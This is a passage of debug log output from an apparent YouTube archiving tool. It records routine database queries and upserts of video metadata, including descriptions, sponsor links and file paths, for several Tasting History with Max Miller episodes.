("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "770a52de-fe8e-4d9f-af6d-9732ca0bf155", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", false, 1713, false, 5, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", false, false, 3, [], 98, ~U[2026-02-24 16:00:34Z], ~U[2026-03-31 06:51:55Z], ~U[2026-03-31 06:51:55Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", 1713, false, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", false, 3, ~U[2026-02-24 16:00:34Z]] 02:51:55.776 [debug] QUERY OK source="sources" db=0.2ms idle=51.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:55.777 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:55.777 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9882] 02:51:55.777 [debug] Current batch of media processed. Will check again in 1000ms 02:51:56.778 [debug] Current batch of media processed. Will check again in 1000ms 02:51:57.779 [debug] Current batch of media processed. Will check again in 1000ms 02:51:58.780 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "duration" => 1335, "filename" => "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", "id" => "i3L1g62Sy58", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=i3L1g62Sy58", "playlist_index" => 6, "timestamp" => 1771344065, "title" => "What Did the Builders of Stonehenge Eat?", "upload_date" => "20260217"} 02:51:58.781 [debug] QUERY OK source="sources" db=0.2ms idle=1389.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:58.781 [debug] QUERY OK source="sources" db=0.1ms idle=1390.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:58.783 [debug] QUERY OK source="media_items" db=1.4ms idle=1390.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 16:01:05Z], 3] 02:51:58.786 [debug] QUERY OK source="media_items" db=1.9ms idle=1055.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "5b255fb0-7511-427e-8e73-db30bda73739", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", false, 1335, false, 6, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", false, false, 3, [], 98, ~U[2026-02-17 16:01:05Z], ~U[2026-03-31 06:51:58Z], ~U[2026-03-31 06:51:58Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: https://youtu.be/QQsRHNHA9Ow?si=Tqo4Utahzo9waWac\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethwiscombe/1071477228/in/photostream/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=13278936\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=64012582 \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=179066884\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=18323006\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=98707662\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=62837662\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=144018403\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/20130119123425/http://www.armadale.org.uk/cairnpapple.htm, CC BY 3.0, https://commons.wikimedia.org/w/index.php?curid=22909135\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48577\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=73498\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=48554746\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index.php?curid=151586152\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=18502199\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", 1335, false, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].mp4", false, 3, ~U[2026-02-17 16:01:05Z]] 02:51:58.786 [debug] QUERY OK source="sources" db=0.1ms idle=55.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:58.786 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:58.787 [debug] QUERY OK source="media_items" db=0.2ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9353] 02:51:58.787 [debug] Current batch of media processed. Will check again in 1000ms 02:51:59.787 [debug] Current batch of media processed. Will check again in 1000ms 02:52:00.788 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "duration" => 1576, "filename" => "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", "id" => "99yi0FRF4uM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=99yi0FRF4uM", "playlist_index" => 7, "timestamp" => 1770739214, "title" => "The History of Gumbo in New Orleans", "upload_date" => "20260210"} 02:52:00.789 [debug] QUERY OK source="sources" db=0.2ms idle=397.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:00.789 [debug] QUERY OK source="sources" db=0.1ms idle=397.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:00.791 [debug] QUERY OK source="media_items" db=1.3ms idle=398.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 16:00:14Z], 3] 02:52:00.792 [debug] QUERY OK source="media_items" db=1.1ms idle=399.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "dacc5e4c-ff44-4fe5-94e2-64b7e3f5028a", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", false, 1576, false, 7, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", false, false, 3, [], 98, ~U[2026-02-10 16:00:14Z], ~U[2026-03-31 06:52:00Z], ~U[2026-03-31 06:52:00Z], "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/gumbo\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index.php?curid=40766980\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=20903977\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=71262709\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", 1576, false, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].mp4", false, 3, ~U[2026-02-10 16:00:14Z]] 02:52:00.793 [debug] QUERY OK source="sources" db=0.2ms idle=58.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:00.793 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", 